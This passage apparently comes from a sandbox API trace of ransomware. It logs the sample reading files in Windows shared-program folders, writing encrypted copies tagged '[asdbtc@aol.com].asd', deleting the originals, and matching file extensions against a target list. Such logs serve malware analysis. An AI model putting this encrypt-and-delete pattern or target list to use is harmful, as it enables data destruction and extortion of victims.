hTemplateFile=0x0) returned 0x1c0 [0045.140] GetLastError () returned 0x0 [0045.140] ReadFile (in: hFile=0x1bc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x425, lpOverlapped=0x0) returned 1 [0045.153] WriteFile (in: hFile=0x1c0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x430, lpOverlapped=0x0) returned 1 [0045.154] ReadFile (in: hFile=0x1bc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.154] WriteFile (in: hFile=0x1c0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0045.154] SetEndOfFile (hFile=0x1c0) returned 1 [0045.154] CloseHandle (hObject=0x1c0) returned 1 [0045.156] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.156] SetEndOfFile (hFile=0x1bc) returned 1 [0045.157] CloseHandle (hObject=0x1bc) returned 1 [0045.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0045.157] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0045.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.157] lstrlenW (lpString=".doc") returned 4 [0045.157] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0045.157] lstrlenW (lpString=".docx") returned 5 [0045.157] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0045.157] lstrlenW (lpString=".pdf") returned 4 [0045.157] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0045.157] lstrlenW (lpString=".xls") returned 4 [0045.157] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0045.157] lstrlenW (lpString=".xlsx") returned 5 [0045.158] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0045.158] lstrlenW (lpString=".ppt") returned 4 [0045.158] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.158] lstrlenW (lpString=".zip") returned 4 [0045.158] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0045.158] lstrlenW (lpString=".rar") returned 4 [0045.158] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0045.158] lstrlenW (lpString=".bz2") returned 4 [0045.158] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0045.158] lstrlenW (lpString=".7z") returned 3 [0045.158] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.158] lstrlenW (lpString=".dbf") returned 4 [0045.158] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.158] lstrlenW (lpString=".1cd") returned 4 [0045.158] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.158] lstrlenW (lpString=".jpg") returned 4 [0045.158] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.158] lstrlenW (lpString=".doc") returned 4 [0045.158] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0045.158] lstrlenW (lpString=".docx") returned 5 [0045.159] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0045.159] lstrlenW (lpString=".pdf") returned 4 [0045.159] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0045.159] lstrlenW (lpString=".xls") returned 4 [0045.159] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0045.159] lstrlenW (lpString=".xlsx") returned 5 [0045.159] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0045.159] lstrlenW (lpString=".ppt") returned 4 [0045.159] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.159] lstrlenW (lpString=".zip") returned 4 [0045.159] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0045.159] lstrlenW (lpString=".rar") returned 4 [0045.159] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0045.159] lstrlenW (lpString=".bz2") returned 4 [0045.159] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0045.159] lstrlenW (lpString=".7z") returned 3 [0045.159] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.159] lstrlenW (lpString=".dbf") returned 4 [0045.159] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.159] lstrlenW (lpString=".1cd") returned 4 [0045.159] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0045.159] lstrlenW (lpString=".jpg") returned 4 [0045.159] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0045.159] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.159] lstrlenW (lpString="Alphabet.xml") returned 12 [0045.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.759] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=791686) returned 1 [0045.759] CloseHandle (hObject=0x1c0) returned 1 [0045.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0045.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.760] lstrlenW (lpString=".doc") returned 4 [0045.760] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.760] lstrlenW (lpString=".docx") returned 5 [0045.760] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.760] lstrlenW (lpString=".pdf") returned 4 [0045.760] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.760] lstrlenW (lpString=".xls") returned 4 [0045.760] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.760] lstrlenW (lpString=".xlsx") returned 5 [0045.760] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.760] lstrlenW (lpString=".ppt") returned 4 [0045.760] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.760] lstrlenW (lpString=".zip") returned 4 [0045.760] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.760] lstrlenW (lpString=".rar") returned 4 [0045.760] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.760] lstrlenW (lpString=".bz2") returned 4 [0045.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.760] lstrlenW (lpString=".7z") returned 3 [0045.760] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.761] lstrlenW (lpString=".dbf") returned 4 [0045.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.761] lstrlenW (lpString=".1cd") returned 4 [0045.761] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.761] lstrlenW (lpString=".jpg") returned 4 [0045.761] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.761] lstrlenW (lpString=".doc") returned 4 [0045.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString=".docx") returned 5 [0045.761] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.761] lstrlenW (lpString=".pdf") returned 4 [0045.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString=".xls") returned 4 [0045.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString=".xlsx") returned 5 [0045.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.761] lstrlenW (lpString=".ppt") returned 4 [0045.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.761] lstrlenW (lpString=".zip") returned 4 [0045.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.761] lstrlenW (lpString=".rar") returned 4 [0045.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.762] lstrlenW (lpString=".bz2") returned 4 [0045.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.762] lstrlenW (lpString=".7z") returned 3 [0045.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.762] lstrlenW (lpString=".dbf") returned 4 [0045.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.762] lstrlenW (lpString=".1cd") returned 4 [0045.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0045.762] lstrlenW (lpString=".jpg") returned 4 [0045.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.763] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.763] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0045.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.257] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=247) returned 1 [0046.257] CloseHandle (hObject=0x19c) returned 1 [0046.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0046.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0046.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.257] lstrlenW (lpString=".doc") returned 4 [0046.257] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.257] lstrlenW (lpString=".docx") returned 5 [0046.257] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0046.257] lstrlenW (lpString=".pdf") returned 4 [0046.257] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.257] lstrlenW (lpString=".xls") returned 4 [0046.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString=".xlsx") returned 5 [0046.258] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0046.258] lstrlenW (lpString=".ppt") returned 4 [0046.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.258] lstrlenW (lpString=".zip") returned 4 [0046.258] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.258] lstrlenW (lpString=".rar") returned 4 [0046.258] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString=".bz2") returned 4 [0046.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString=".7z") returned 3 [0046.258] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.258] lstrlenW (lpString=".dbf") returned 4 [0046.258] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.258] lstrlenW (lpString=".1cd") returned 4 [0046.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.258] lstrlenW (lpString=".jpg") returned 4 [0046.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.258] lstrlenW (lpString=".doc") returned 4 [0046.259] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString=".docx") returned 5 [0046.259] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0046.259] lstrlenW (lpString=".pdf") returned 4 [0046.259] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString=".xls") returned 4 [0046.259] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString=".xlsx") returned 5 [0046.259] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0046.259] lstrlenW (lpString=".ppt") returned 4 [0046.259] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.259] lstrlenW (lpString=".zip") returned 4 [0046.259] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.259] lstrlenW (lpString=".rar") returned 4 [0046.259] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString=".bz2") returned 4 [0046.259] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString=".7z") returned 3 [0046.259] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.259] lstrlenW (lpString=".dbf") returned 4 [0046.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.259] lstrlenW (lpString=".1cd") returned 4 [0046.259] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0046.259] lstrlenW (lpString=".jpg") returned 4 [0046.259] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.260] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0046.260] lstrlenW (lpString="base_heb.xml") returned 12 [0046.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.264] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=738) returned 1 [0047.264] CloseHandle (hObject=0x1dc) returned 1 [0047.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0047.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.264] lstrlenW (lpString=".doc") returned 4 [0047.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.264] lstrlenW (lpString=".docx") returned 5 [0047.264] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0047.265] lstrlenW (lpString=".pdf") returned 4 [0047.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString=".xls") returned 4 [0047.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString=".xlsx") returned 5 [0047.265] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0047.265] lstrlenW (lpString=".ppt") returned 4 [0047.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.265] lstrlenW (lpString=".zip") returned 4 [0047.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.265] lstrlenW (lpString=".rar") returned 4 [0047.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString=".bz2") returned 4 [0047.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString=".7z") returned 3 [0047.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.265] lstrlenW (lpString=".dbf") returned 4 [0047.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.265] lstrlenW (lpString=".1cd") returned 4 [0047.265] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.265] lstrlenW (lpString=".jpg") returned 4 [0047.265] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.266] lstrlenW (lpString=".doc") returned 4 [0047.266] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString=".docx") returned 5 [0047.266] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0047.266] lstrlenW (lpString=".pdf") returned 4 [0047.266] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString=".xls") returned 4 [0047.266] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString=".xlsx") returned 5 [0047.266] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0047.266] lstrlenW (lpString=".ppt") returned 4 [0047.266] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.266] lstrlenW (lpString=".zip") returned 4 [0047.266] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.266] lstrlenW (lpString=".rar") returned 4 [0047.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString=".bz2") returned 4 [0047.266] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString=".7z") returned 3 [0047.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.266] lstrlenW (lpString=".dbf") returned 4 [0047.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.267] lstrlenW (lpString=".1cd") returned 4 [0047.267] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.267] lstrlenW (lpString=".jpg") returned 4 [0047.267] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.267] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.267] lstrlenW (lpString="oskpred.xml") returned 11 [0047.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.267] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=215) returned 1 [0047.267] CloseHandle (hObject=0x1dc) returned 1 [0047.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0047.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0047.268] lstrlenW (lpString=".doc") returned 4 [0047.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.268] lstrlenW (lpString=".docx") returned 5 [0047.268] lstrcmpiW (lpString1=".docx", 